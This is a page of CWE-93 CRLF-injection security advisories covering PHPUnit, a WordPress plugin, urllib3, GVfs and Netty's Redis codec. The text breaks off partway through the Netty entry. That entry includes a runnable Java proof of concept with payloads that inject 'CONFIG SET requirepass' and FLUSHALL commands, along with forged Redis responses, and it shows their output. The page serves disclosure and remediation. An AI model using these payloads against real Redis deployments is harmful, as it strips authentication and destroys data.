Common Weakness Enumeration

CWE-93

Allowed

Improper Neutralization of CRLF Sequences ('CRLF Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

323 vulnerabilities reference this CWE, most recent first.

GHSA-QRR6-MG7R-M243

Vulnerability from github – Published: 2026-04-18 00:59 – Updated: 2026-05-12 13:33
VLAI
Summary
PHPUnit has Argument injection via newline in PHP INI values that are forwarded to child processes
Details

Impact

PHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets " as a string delimiter, ; as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as multiple INI directives.

An attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child's configuration, including auto_prepend_file, extension, disable_functions, open_basedir, and others. Setting auto_prepend_file to an attacker-controlled path yields remote code execution in the child process.

Sources of INI values that participate in the attack:

  • <ini name="…" value="…"/> entries in phpunit.xml / phpunit.xml.dist
  • INI settings inherited from the host PHP runtime via ini_get_all()

Threat Model

Exploitation requires the attacker to control the content of an INI value read by PHPUnit. In practice this means write access to the project's phpunit.xml, the host php.ini, or the PHP binary's environment. The most realistic exposure is Poisoned Pipeline Execution (PPE): a pull request from an untrusted contributor that modifies phpunit.xml to include a newline-containing INI value, executed by a CI system that runs PHPUnit against the PR without isolation. A malicious newline is not visibly distinguishable from a legitimate value in a typical diff review.

Affected component

PHPUnit\Util\PHP\JobRunner::settingsToParameters().

Patches

The fix has two parts:

1. Reject line-break characters

Because a newline or carriage return in an INI value has no legitimate use and is the primitive that enables directive injection, any PHP setting value containing \n or \r is now rejected with an explicit PhpProcessException. This follows the same "visibility over silence" principle applied in CVE-2026-24765: the anomalous state fails loudly in CI output rather than being silently sanitized, giving operators an opportunity to investigate whether it reflects tampering, environment contamination, or an unexpected upstream change.

2. Quote remaining metacharacters

Values containing " or ;, both of which have legitimate uses (e.g., regex-valued INI settings such as ddtrace's datadog.appsec.obfuscation_parameter_value_regexp), are wrapped in double quotes with inner " escaped as \", so PHP's INI parser reads them as literal string contents rather than comment/delimiter tokens. Plain values are forwarded unchanged so that boolean keywords (On/Off) and bitwise expressions (E_ALL & ~E_NOTICE) retain their INI semantics.

Workarounds

If upgrading is not immediately possible:

  • Audit INI values: Ensure no <ini value="…"> entry in phpunit.xml / phpunit.xml.dist contains newline, ", or ; characters, and that nothing writes such values into configuration at build time.
  • Isolate CI execution of untrusted code: Run PHPUnit against pull requests only in ephemeral, containerized runners that discard filesystem state between jobs; require human review before executing PRs from forks; enforce branch protection on workflows that handle secrets (pull_request_target and similar). These mitigations apply to the broader PPE risk class and are effective against this vulnerability as well.
  • Restrict who can modify phpunit.xml: Treat phpunit.xml as security-sensitive in code review, particularly <ini> entries.
  • Sanitize host INI: Ensure the host PHP's php.ini does not contain values with embedded newlines or unescaped metacharacters.

References

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpunit/phpunit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.5.21"
            },
            {
              "fixed": "12.5.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "12.5.21"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpunit/phpunit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.1.5"
            },
            {
              "fixed": "13.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "13.1.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41570"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T00:59:28Z",
    "nvd_published_at": "2026-05-08T15:16:40Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n\nPHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as `-d name=value` command-line arguments without neutralizing INI metacharacters. Because PHP\u0027s INI parser interprets `\"` as a string delimiter, `;` as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as multiple INI directives.\n\nAn attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child\u0027s configuration, including `auto_prepend_file`, `extension`, `disable_functions`, `open_basedir`, and others. Setting `auto_prepend_file` to an attacker-controlled path yields remote code execution in the child process.\n\nSources of INI values that participate in the attack:\n\n- `\u003cini name=\"\u2026\" value=\"\u2026\"/\u003e` entries in `phpunit.xml` / `phpunit.xml.dist`\n- INI settings inherited from the host PHP runtime via `ini_get_all()`\n\n### Threat Model\n\nExploitation requires the attacker to control the content of an INI value read by PHPUnit. In practice this means write access to the project\u0027s `phpunit.xml`, the host `php.ini`, or the PHP binary\u0027s environment. The most realistic exposure is [Poisoned Pipeline Execution](https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution) (PPE): a pull request from an untrusted contributor that modifies `phpunit.xml` to include a newline-containing INI value, executed by a CI system that runs PHPUnit against the PR without isolation. A malicious newline is not visibly distinguishable from a legitimate value in a typical diff review.\n\n### Affected component\n\n`PHPUnit\\Util\\PHP\\JobRunner::settingsToParameters()`.\n\n## Patches\n\nThe fix has two parts:\n\n**1. Reject line-break characters**\n\nBecause a newline or carriage return in an INI value has no legitimate use and is the primitive that enables directive injection, any PHP setting value containing `\\n` or `\\r` is now rejected with an explicit `PhpProcessException`. This follows the same \"visibility over silence\" principle applied in [CVE-2026-24765](https://github.com/sebastianbergmann/phpunit/security/advisories/GHSA-vvj3-c3rp-c85p): the anomalous state fails loudly in CI output rather than being silently sanitized, giving operators an opportunity to investigate whether it reflects tampering, environment contamination, or an unexpected upstream change.\n\n**2. Quote remaining metacharacters**\n\nValues containing `\"` or `;`, both of which have legitimate uses (e.g., regex-valued INI settings such as `ddtrace`\u0027s `datadog.appsec.obfuscation_parameter_value_regexp`), are wrapped in double quotes with inner `\"` escaped as `\\\"`, so PHP\u0027s INI parser reads them as literal string contents rather than comment/delimiter tokens. Plain values are forwarded unchanged so that boolean keywords (`On`/`Off`) and bitwise expressions (`E_ALL \u0026 ~E_NOTICE`) retain their INI semantics.\n\n## Workarounds\n\nIf upgrading is not immediately possible:\n\n- Audit INI values: Ensure no `\u003cini value=\"\u2026\"\u003e` entry in `phpunit.xml` / `phpunit.xml.dist` contains newline, `\"`, or `;` characters, and that nothing writes such values into configuration at build time.\n- Isolate CI execution of untrusted code: Run PHPUnit against pull requests only in ephemeral, containerized runners that discard filesystem state between jobs; require human review before executing PRs from forks; enforce branch protection on workflows that handle secrets (`pull_request_target` and similar). These mitigations apply to the broader PPE risk class and are effective against this vulnerability as well.\n- Restrict who can modify `phpunit.xml`: Treat `phpunit.xml` as security-sensitive in code review, particularly `\u003cini\u003e` entries.\n- Sanitize host INI: Ensure the host PHP\u0027s `php.ini` does not contain values with embedded newlines or unescaped metacharacters.\n\n## References\n\n- Fix: https://github.com/sebastianbergmann/phpunit/pull/6592\n- Related advisory (same threat class, Poisoned Pipeline Execution): [GHSA-vvj3-c3rp-c85p / CVE-2026-24765](https://github.com/sebastianbergmann/phpunit/security/advisories/GHSA-vvj3-c3rp-c85p)\n- OWASP CI/CD Top 10: [CICD-SEC-04 Poisoned Pipeline Execution](https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution)\n- CWE-88: https://cwe.mitre.org/data/definitions/88.html\n- CWE-93: https://cwe.mitre.org/data/definitions/93.html",
  "id": "GHSA-qrr6-mg7r-m243",
  "modified": "2026-05-12T13:33:34Z",
  "published": "2026-04-18T00:59:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sebastianbergmann/phpunit/security/advisories/GHSA-qrr6-mg7r-m243"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41570"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebastianbergmann/phpunit/pull/6592"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/phpunit/phpunit/CVE-2026-41570.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sebastianbergmann/phpunit"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PHPUnit has Argument injection via newline in PHP INI values that are forwarded to child processes"
}

GHSA-R256-59W3-3GR2

Vulnerability from github – Published: 2026-04-22 09:31 – Updated: 2026-04-22 09:31
VLAI
Details

The HTTP Headers plugin for WordPress is vulnerable to CRLF Injection in all versions up to, and including, 1.19.2. This is due to insufficient sanitization of custom header name and value fields before writing them to the Apache .htaccess file via insert_with_markers(). This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary newline characters and additional Apache directives into the .htaccess configuration file via the 'Custom Headers' settings, leading to Apache configuration parse errors and potential site-wide denial of service.

Severity
5.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-2717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T09:16:20Z",
    "severity": "MODERATE"
  },
  "details": "The HTTP Headers plugin for WordPress is vulnerable to CRLF Injection in all versions up to, and including, 1.19.2. This is due to insufficient sanitization of custom header name and value fields before writing them to the Apache .htaccess file via `insert_with_markers()`. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary newline characters and additional Apache directives into the .htaccess configuration file via the \u0027Custom Headers\u0027 settings, leading to Apache configuration parse errors and potential site-wide denial of service.",
  "id": "GHSA-r256-59w3-3gr2",
  "modified": "2026-04-22T09:31:32Z",
  "published": "2026-04-22T09:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2717"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L1098"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/http-headers.php#L745"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L1098"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/http-headers.php#L745"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7716e77f-e899-4046-9421-86fc0c36c245?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R64Q-W8JR-G9QP

Vulnerability from github – Published: 2022-05-13 01:09 – Updated: 2024-11-18 22:52
VLAI
Summary
Improper Neutralization of CRLF Sequences in urllib3 library for Python
Details

In the urllib3 library through 1.24.2 for Python, CRLF injection is possible if the attacker controls the request parameter.

Severity
6.1 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.24.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "urllib3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-11236"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-28T15:02:18Z",
    "nvd_published_at": "2019-04-15T15:29:00Z",
    "severity": "MODERATE"
  },
  "details": "In the urllib3 library through 1.24.2 for Python, CRLF injection is possible if the attacker controls the request parameter.",
  "id": "GHSA-r64q-w8jr-g9qp",
  "modified": "2024-11-18T22:52:14Z",
  "published": "2022-05-13T01:09:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/issues/1553"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3990-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3990-1"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XOSA2NT4DUQDBEIWE6O7KKD24XND7TE2"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TBI45HO533KYHNB5YRO43TBYKA3E3VRL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/R62XGEYPUTXMRHGX5I37EBCGQ5COHGKR"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NKGPJLVLVYCL4L4B4G5TIOTVK4BKPG72"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/06/msg00015.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/06/msg00016.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/urllib3/urllib3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2019-132.yaml"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r64q-w8jr-g9qp"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3590"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3335"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2272"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00039.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00041.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Improper Neutralization of CRLF Sequences in urllib3 library for Python"
}

GHSA-R8J5-PJ3M-QHPV

Vulnerability from github – Published: 2026-02-26 18:31 – Updated: 2026-02-26 18:31
VLAI
Details

A flaw was found in the FTP GVfs backend. A remote attacker could exploit this input validation vulnerability by supplying specially crafted file paths containing carriage return and line feed (CRLF) sequences. These unsanitized sequences allow the attacker to terminate intended FTP commands and inject arbitrary FTP commands, potentially leading to arbitrary code execution or other severe impacts.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-28296"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-26T16:24:09Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the FTP GVfs backend. A remote attacker could exploit this input validation vulnerability by supplying specially crafted file paths containing carriage return and line feed (CRLF) sequences. These unsanitized sequences allow the attacker to terminate intended FTP commands and inject arbitrary FTP commands, potentially leading to arbitrary code execution or other severe impacts.",
  "id": "GHSA-r8j5-pj3m-qhpv",
  "modified": "2026-02-26T18:31:41Z",
  "published": "2026-02-26T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28296"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-28296"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RGRR-P7GP-5XJ7

Vulnerability from github – Published: 2026-05-07 00:24 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty Redis Codec Encoder has a CRLF Injection Issue
Details

Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder

1. Vulnerability Summary

Field Value
Product Netty
Version 4.2.12.Final (and all prior versions with codec-redis)
Component io.netty.handler.codec.redis.RedisEncoder
Vulnerability Type CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection)
Impact Redis Command Injection / Response Poisoning
Attack Vector Network
Attack Complexity Low
Privileges Required None
User Interaction None
Scope Unchanged
Confidentiality Impact High
Integrity Impact High
Availability Impact None

2. Affected Components

The following classes in the codec-redis module are affected:

  • io.netty.handler.codec.redis.RedisEncoder (encoder - no output validation)
  • io.netty.handler.codec.redis.InlineCommandRedisMessage (no input validation)
  • io.netty.handler.codec.redis.SimpleStringRedisMessage (no input validation)
  • io.netty.handler.codec.redis.ErrorRedisMessage (no input validation)
  • io.netty.handler.codec.redis.AbstractStringRedisMessage (base class - no validation)

3. Vulnerability Description

The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.

Root Cause

In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:

private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
                                     RedisConstants.EOL_LENGTH);
    type.writeTo(buf);
    ByteBufUtil.writeUtf8(buf, content);       // <-- NO CRLF VALIDATION
    buf.writeShort(RedisConstants.EOL_SHORT);   // <-- Appends \r\n
    out.add(buf);
}

The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:

// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    // NO CRLF validation
}

Comparison with Similar Fixed CVEs

This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:

CVE Component Fix
GHSA-jq43-27x9-3v86 SmtpRequestEncoder - SMTP command injection Added SmtpUtils.validateSMTPParameters() to check for \r and \n
GHSA-84h7-rjj3-6jx4 HttpRequestEncoder - CRLF in URI Added HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP

The Redis codec has no equivalent validation in either the encoder or the message constructors.

4. Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

  1. The application uses Netty's codec-redis module to communicate with a Redis server
  2. User-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content
  3. The application does not perform its own CRLF sanitization before constructing these message objects

Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.

Affected use cases include: - Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity - Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses - Applications that construct Redis monitoring or diagnostic commands from user input - Redis Sentinel or Cluster management tools using inline command format

5. Attack Scenarios

Scenario 1: Redis Command Injection via Inline Commands

When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:

// Application code that builds Redis commands from user input
String userKey = request.getParameter("key");  // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);

Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"

Result: Three commands sent to Redis: 1. GET foo 2. CONFIG SET requirepass "" (removes authentication!) 3. FLUSHALL (deletes all data!)

Scenario 2: Redis Response Poisoning

When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:

// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);

Malicious upstream response: "OK\r\n$6\r\nhacked"

Client sees: 1. Simple String: +OK (expected response) 2. Bulk String: $6\r\nhacked (injected fake data!)

Scenario 3: Error Message Injection

ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);

Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"

Client sees: 1. Error: -ERR unknown 2. Simple String: +FAKE_SUCCESS (injected fake success!)

6. Proof of Concept

Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

How to Compile and Run

# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q

# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Redis Encoder CRLF Injection PoC ===

[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input:   InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
  Command 1: PING
  Command 2: CONFIG SET requirepass ""
  Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!

[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input:   SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!

[TEST 3] Error Message CRLF Injection
--------------------------------------
Input:   ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!


=== PoC Complete ===

7. Impact Analysis

Impact Category Description
Confidentiality HIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data
Integrity HIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration
Availability Can be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS
Authentication Bypass CONFIG SET requirepass "" removes authentication
Data Exfiltration Lua scripting via EVAL enables complex data extraction

8. Remediation Recommendations

Option 1: Validate in Message Constructors (Recommended)

Add CRLF validation to AbstractStringRedisMessage:

AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    validateContent(content);
}

private static void validateContent(String content) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new IllegalArgumentException(
                "Redis message content contains illegal CRLF character at index " + i);
        }
    }
}

Option 2: Validate in Encoder (Defense-in-Depth)

Add validation in RedisEncoder.writeString():

private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new RedisCodecException(
                "Redis message content contains CRLF at index " + i);
        }
    }
    // ... existing encoding logic
}

Option 3: Both (Best Practice)

Apply validation in both the constructor and the encoder, following the pattern used for SMTP: - SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor - This provides defense-in-depth against custom SmtpRequest implementations

9. Resources

Severity
6.8 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-redis"
      },
